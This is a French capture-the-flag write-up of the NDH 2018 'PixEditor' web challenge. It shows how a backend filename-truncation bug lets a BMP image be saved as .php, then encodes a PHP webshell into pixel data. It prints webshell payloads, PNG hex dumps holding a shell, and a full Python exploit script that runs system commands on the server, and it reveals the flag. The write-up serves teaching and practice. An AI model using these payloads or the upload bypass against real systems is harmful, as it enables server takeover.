Quals NDH 2018 : PixEditor
Ce challenge a été proposé par Sysdream pour le CTF Quals NDH.
Détails du challenge
| Event | Challenge | Category | Points | Solves |
|---|---|---|---|---|
| Quals NDH 2018 | PixEditor | Web | 350 | 63 |
Description
Create your own pixel art with this powerful tool.
TL;DR
Dans ce challenge, nous disposions d’un outil « paint » en JS qui nous permettait de sauvegarder notre dessin (32*32) en PNG, JPG, BMP…
Le processus de sauvegarde utilisait une requête AJAX avec 3 paramètres : un tableau de pixels, le nom de fichier, le type de fichier.
En regardant le JS, nous avons vu un commentaire qui indique que le nom de fichier est tronqué dans le backend lorsque sa longueur dépasse 50px.
Cette troncature nous a permis d’uploader notre image avec une extension php en utilisant aaaa[…]aaa.php.png (qui, une fois tronqué, donne aaaa[…]aaa.php).
Ensuite, nous avons examiné les différents formats de fichier pour écrire du php dans le chunk de l’image. Nous avons choisi le BMP qui nous permettait d’y écrire du PHP facilement.
Le processus d’écriture consistait à convertir le code php en tableau de pixels et à le passer en tant qu’« image ».
Une fois le payload uploadé, nous avons obtenu un shell PHP qui nous permettait de lister les fichiers dans le dossier racine et de lire le flag.
Méthodologie
La méthodologie suivante est celle que j’ai utilisée pendant le challenge et n’est peut-être pas la plus efficace.
On joue avec
La première chose que j’ai faite a été de tester le soft, pour comprendre ce qu’il fait :
J’ai dessiné quelques trucs, j’ai testé les différentes extensions et j’ai sauvegardé. Le processus de sauvegarde était une requête ajax vers « save.php ». Le pixeditor.js confirme la requête AJAX :
$.post("save.php", {'data': JSON.stringify(pixelarray), 'name': this.inputFileName + '.' + this.inputFormat, 'format': this.inputFormat}, function( res ){
$('#divResult').html(res);
});
En regardant le code et la requête post, on peut voir qu’il y avait 3 paramètres :
- data : un tableau de 32*32 pixels [r1,g1,b1,a1,r1,g1,b1,a1,…,r1024,g1024,b1024,a1024]
- name : le nom de fichier de l’image sauvegardée
- format : le format d’encodage
À la recherche du bug
À partir de là, j’ai décidé de spoofer le nom de fichier ou l’extension du fichier en la remplaçant par PHP.
Les deux m’ont donné une erreur.
J’ai eu quelques informations en passant un array au lieu de strings pour les arguments name et format, mais rien de vraiment utile.
Passer autre chose dans data, comme une liste plus grande ou un array pour data[]=, m’a également donné une erreur.
J’ai aussi essayé le nullbyte pour le nom de fichier (aa.php%00.png) mais cela n’a aucun effet.
Internet ?
La combinaison de l’éditeur de pixels et le fait qu’on pouvait télécharger notre image m’a rappelé un challenge que j’avais fait par le passé.
Le challenge consistait à écrire un PHP shell dans le chunk PNG. Cela peut être utile en cas de LFI : on pourrait inclure notre propre image et interpréter notre propre code php.
Ce challenge était délicat à cause de la compression PNG mais voici quelques ressources :
https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
https://phil242.wordpress.com/2014/02/23/la-png-qui-se-prenait-pour-du-php/
À partir de là, j’ai créé mon image PNG, d’une taille de 32*32 et contenant le payload suivant :
<?=$_GET[0]($_POST[1]);?>
$xxd pngchunkphpshell.png
00000000: 8950 4e47 0d0a 1a0a 0000 000d 4948 4452 .PNG........IHDR
00000010: 0000 0020 0000 0020 0802 0000 00fc 18ed ... ... ........
00000020: a300 0000 8249 4441 5448 8963 5c3c 3f3d .....IDATH.c\<?=
00000030: 245f 4745 545b 305d 2824 5f50 4f53 545b $_GET[0]($_POST[
00000040: 315d 293b 3f3e 5820 20f0 0bcf 9cd7 2d0f 1]);?>X .....-.
...
J’ai décidé d’uploader l’image en parsant les pixels et en l’envoyant en tant que data (avec le name et le format png).
Le processus de sauvegarde conserve la bonne image mais avec un encodage différent : le shell a été retiré du chunk…
$xxd pngchunkphpshellfailed.png
00000000: 8950 4e47 0d0a 1a0a 0000 000d 4948 4452 .PNG........IHDR
00000010: 0000 0020 0000 0020 0806 0000 0073 7a7a ... ... .....szz
00000020: f400 0000 0173 5247 4200 aece 1ce9 0000 .....sRGB.......
00000030: 0004 6741 4d41 0000 b18f 0bfc 6105 0000 ..gAMA......a...
00000040: 0009 7048 5973 0000 0ec4 0000 0ec4 0195 ..pHYs..........
00000050: 2b0e 1b00 0000 be49 4441 5458 4763 5c3c +......IDATXGc\<
00000060: 3ffd 7f48 be0e 838a a836 8360 ba10 4348 ?..H.....6.`..CH
00000070: be20 839e a628 83b6 623a 8352 763e 437c . ...(..b:.Rv>C|
00000080: b000 4340 e017 069e 39af 195a 1ede 6098 ..C@....9..Z..`.
00000090: c2fc 9541 6fba 0783 7ec0 0386 0b4c 2719 ...Ao...~....L'.
000000a0: 188d 5632 d8c4 6c64 90cc cb61 d8c8 fd90 ..V2..ld...a....
En larmes pour le Bypass
J’ai passé beaucoup de temps à réfléchir à la solution… J’ai décidé de résoudre le premier problème :
même si j’avais mon php dans le chunk de l’image, il ne serait pas interprété à cause du header png.
Pour l’interpréter, je devais trouver une LFI ou forcer l’image en tant que fichier PHP.
J’ai beaucoup cherché… trop cherché :
En dessinant ça sur l’application PixEditor, je me suis dit : « Hey, et si l’admin avait commenté des couleurs supplémentaires dans le JS ? ».
J’ai regardé de nouveau le JS :
...
"Sienna",
"Salmon",
"PaleVioletRed", // Lol, wtf.
"Olive",
"Magenta",
"Gold",
...
Pas de couleurs supplémentaires à part le PaleVioletRed qui avait un commentaire.
J’ai décidé de scroller à la recherche d’autres commentaires « drôles ». Et j’ai trouvé :
inputName.value = this.inputFileName;
inputName.maxLength = 45; // 50 - Len(Extension) - Filename will be truncated if len > 50
inputName.onchange = this.inputName_Changed.bind(this);
Et voilà la solution que je cherchais !
Le commentaire nous indiquait que le nom de fichier était tronqué dans le backend.
J’ai uploadé une image avec le nom suivant :
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.php.BMP
Une fois uploadée, le chemin de l’image était plus court (à cause de la troncature) :
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.php
J’ai suivi le chemin et, à cause de l’extension php, aucune image n’était affichée mais le contenu du chunk était affiché ! C’est ainsi que j’ai bypassé la vérification de l’extension.
Du payload au chunk d’image
La dernière étape pour obtenir un php shell était d’écrire le shell dans les données de pixels. Après quelques tests sur l’extension PNG, j’ai vu que je ne pouvais écrire aucun shell dans ce genre de fichier. J’ai décidé de me pencher sur le fichier BMP, qui n’a pas de réelle compression et nous permettait d’écrire notre payload « directement ». J’ai décidé d’envoyer une image vide en BMP avec juste 3 lettres au début : xyz.
ord('x')
>> 120
ord('y')
>> 121
ord('z')
>> 122
data : [120,121,122,255,0,0,0,255,0,0…]
En envoyant la requête de sauvegarde avec notre « long » nom, on a obtenu une page contenant « zyx ». J’ai testé avec « abcdefghi » et obtenu « cbafedihg ». En regardant cela, on peut déduire que le format BMP écrit d’abord le pixel bleu, puis le vert et enfin le rouge. J’ai décidé d’essayer un simple « » d’abord, le payload a bien fonctionné !
Ensuite, j’ai essayé d’envoyer une partie de mon payload final pour vérifier qu’il n’y a aucune forme de compression. J’ai envoyé le code suivant (notez que je n’ai pas mis le premier < afin de vérifier que le payload est correctement affiché.
?php $_GET['fn']($_GET['arg']); ?>
Après avoir envoyé le payload complet, j’ai obtenu la réponse suivante qui nous confirme que notre payload final est prêt :
Exploitation
Pour automatiser le processus, j’ai écrit le script suivant, qui inclut la dernière étape : l’exploitation de notre webshell. L’exploitation était assez simple : utiliser system(“ls /”) puis system(“cat /flag”).
Le script est disponible ici : pixeditor.py
import requests
s = requests.session()
LINK = "http://pixeditor.challs.malice.fr/"
# payload = "<?php phpinfo(); ?>"
payload = "<?php $_GET['fn']($_GET['arg']); ?>"
payload += " "*(3-(len(payload)%3)%3) # Multiple of 3 ! Pad with space
chunk = ""
PXSIZE = int(len(payload)/3)
for i in range(0,len(payload),3): # Chunk BMP : B V R A, B V R A
chunk += str(ord(payload[i+2])) # Letter 3
chunk += ","
chunk += str(ord(payload[i+1])) # Letter 2
chunk += ","
chunk += str(ord(payload[i])) # Letter 1
chunk += ",255," # A
px = "0,0,0,255,"*((32*32)-PXSIZE) # PAD for a 32*32 image
px = px[:-1]
l = chunk+px
dico = {
"data" : "["+l+"]",
"name" : "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.php.BMP", # Truncation
"format" : "BMP"
}
r = s.post(LINK+"save.php",data=dico) # Post payload
r = r.text.split("href='")[1].split("'")[0] # Get the uploaded image link
webshell = LINK+r
print("WebShell at: "+webshell+"?fn=&arg=")
r = s.get(webshell+"?fn=system&arg=ls -la /")
print(r.text)
r = s.get(webshell+"?fn=system&arg=cat /flag")
print(r.text) # Congratz. The flag is : NDH{Msp4int.3x3>all>th3g1mp}
FLAG !
FLAG
NDH{Msp4int.3x3>all>th3g1mp}
Zeecka